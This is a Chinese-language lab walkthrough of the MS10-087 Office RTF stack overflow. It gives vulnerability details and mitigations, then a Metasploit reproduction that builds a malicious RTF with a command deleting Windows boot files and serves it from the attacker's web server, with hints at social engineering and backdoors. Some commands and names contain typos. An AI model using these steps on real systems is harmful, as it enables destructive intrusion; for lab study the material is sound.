一、漏洞介绍

基本信息

属性

详情

微软公告编号

MS10-087

发布日期

2010年11月9日

补丁编号

KB2423930

核心CVE

CVE-2010-3333(最严重)

漏洞名称

RTF 栈缓冲区溢出漏洞(RTF Stack Buffer Overflow)

漏洞类型

栈缓冲区溢出(Stack Buffer Overflow)

CVSS v2 评分

9.3 / 10(高危)

风险等级

Critical(严重)

攻击向量

特制的 RTF 格式文档(可伪装为 .doc)

触发方式

打开或预览恶意文档即可触发,无需用户交互

利用后果

远程代码执行(RCE),获得当前用户权限

攻击场景

邮件附件、网页挂马、U盘传播、钓鱼文档

主要攻击组织

2010-2011年全球挂马网站、APT组织、2012年北约攻击事件

受影响版本详细清单

产品

具体版本

补丁状态

Microsoft Office XP

Service Pack 3 (SP3)

✅ 已发布补丁

Microsoft Office 2003

Service Pack 3 (SP3)

✅ 已发布补丁

Microsoft Office 2007

Service Pack 2 (SP2)

✅ 已发布补丁

Microsoft Office 2010

32位版本(所有子版本)

✅ 已发布补丁

Microsoft Office 2010

64位版本(所有子版本)

✅ 已发布补丁

Microsoft Office 2007 SP1

及更早版本

⚠️ 需先升级至SP2

Microsoft Office 2000

全版本

❌ 已停止支持,无补丁

Microsoft Office 97

全版本

❌ 已停止支持,无补丁

原理分析

一句话:MS10-087 是 Office RTF 解析栈溢出漏洞,打开恶意 RTF 文件可被远程执行代码,属严重级文档类 RCE 漏洞

1. RTF 文件格式基础

RTF(Rich Text Format)是微软开发的跨平台文档格式,使用纯文本标记语言描述文档内容。其结构由控制字(Control Word)组成:

{\rtf1\ansi\deff0{\fonttbl{\f0 Times New Roman;}}
{\pard This is a test paragraph\par}}

2. 漏洞触发点:\pFragments 控制字

\pFragments 是 RTF 规范中用于描述绘图片段(Picture Fragments)属性的控制字,允许在文档中嵌入矢量图形数据。其正常语法为:

{\pict {\*\pFragments ...十六进制数据...}}

关键问题mso.dll(Microsoft Office 共享库)中的解析函数在处理 \pFragments十六进制属性值时,存在严重的长度校验缺陷

3.1 构造恶意 RTF 结构

{\rtf1\ansi\deff0
{\*\pFragments
01000000020000000300000004000000...  ; 超长十六进制数据(通常 > 500字节)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...  ; 填充数据覆盖栈
\x90\x90\x90\x90...                  ; NOP滑板
\xEB\x06\x90\x90...                  ; 短跳转指令
\x12\x34\x56\x78...                  ; 覆盖SEH的pop/pop/ret地址
shellcode...                         ; 恶意代码
}}

3.2 利用流程

1. 用户打开/预览 RTF 文档
        ↓
2. Word 调用 mso.dll 解析 \pFragments 属性
        ↓
3. 超长数据触发栈溢出,覆盖栈结构:
   ┌─────────────────┐
   │  原始返回地址   │ ← 被覆盖为 0x41414141
   ├─────────────────┤
   │  SEH 记录指针   │ ← 被覆盖为 pop/pop/ret 地址
   ├─────────────────┤
   │  局部变量区域   │ ← 被 Shellcode 覆盖
   ├─────────────────┤
   │  栈缓冲区(256B) │ ← 已溢出
   └─────────────────┘
        ↓
4. 触发异常时,执行 pop/pop/ret 跳转到 Shellcode
        ↓
5. 以当前用户权限执行任意代码(计算器/后门/木马)

如何防护

1.及时安装官方补丁

补丁编号:KB2423930 (MS10-087)修复了mso.dll中的路径处理逻辑,增加输入长度校验并重构栈缓冲区分配策略。

2.临时缓解方案

禁用RTF解析:通过组策略禁用Word的RTF文件解析功能(设置路径:HKCU\Software\Microsoft\0ffice\...\Word\Security )。

启用防护机制:强制启用DEP (Data Execution Prevention) 和Office沙箱 (Protected View)

3.网络与终端防护

流量监控:检测HTTP/邮件流量中异常的 pnfragments控制字或超长属性字符串。

行为分析:监控winword.exe进程的异常栈操作或Shellcode执行行为。

二、完整复现

1.准备工作

确保目标靶机没有安装KB2423930补丁,目标靶机的office和系统版本在上述范围内,这里默认目标靶机没有做防护

目标靶机:192.168.68.132(winXP_sp3)

攻击机:192.168.68.128(kalilinux)

2.msf复现

打开kali终端

启动msf

msfconsole

search MS10-087

search MS10-087

使用MS10-087

use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
MS10-087-1.png

这里我们没有设置payload,默认是windows的反向连接shell,但是这次我们使用的漏洞不能使用反向shell,这个默认的payload无论我们使用哪一个漏洞模块都会弹出这个

查看需要配置什么参数

show options
MS10-087-2.png

可以看到我们需要设置一个文件名

设置文件名

set FILENAME test.rtf

写入恶意命令

这里我们设置一个payload,让windows执行单次命令

set payload windows/exec

这里我是删除对方引导,(建议先建立一个快照,不然还要重新装靶机)当然我们也可以换成蓝屏,攻击对方的注册表,格式化硬盘,让对方系统瘫痪等,这里我让cmd.exe运行了,不然会解析错误,导致执行失败

set CMD "cmd.exe /c \"del /f /q /a C:\ntldr & del /f /q /a C:\ntdetect.com\""

tips:这个漏洞区别于永恒之蓝和ms10-018这些漏洞,他们攻击的是网络服务smb,所以只要服务没掉,就可以持续交互控制,ms10-087这个漏洞需要用户打开这个恶意文件才能执行,只能执行提前设置好的命令,不过我们可以搭配后门(写入rtf文件,对方一打开就会下载我们的木马)或者创建一个后门用户实现持续控制

MS10-087-3.png

可以看到我们的rtf木马已经生成,我们接下来就是需要想办法把这个发送给目标靶机,配合社工让对方点击,这里方便演示,我在kali开启一个apache服务让对方访问我这个攻击机然后下载rtf文件

发送木马

安装apache
sudo apt install apache2
启动apache
sudo systemctl start apache2
查看是否成功运行
sudo systemctl start apache2
MS10-087-4.png

可以看到apache服务已经成功启动

移动rtf文件到服务根目录
sudo mv /root/.msf4/local/test.rtf /var/www/html

3.检验结果

当对方点击访问http://192.168.68.128/test.rtf时会下载test.rtf

然后运行的时候弹出了一个cmd窗口,重启后就发现系统启动不了了。

MS10-087-5.png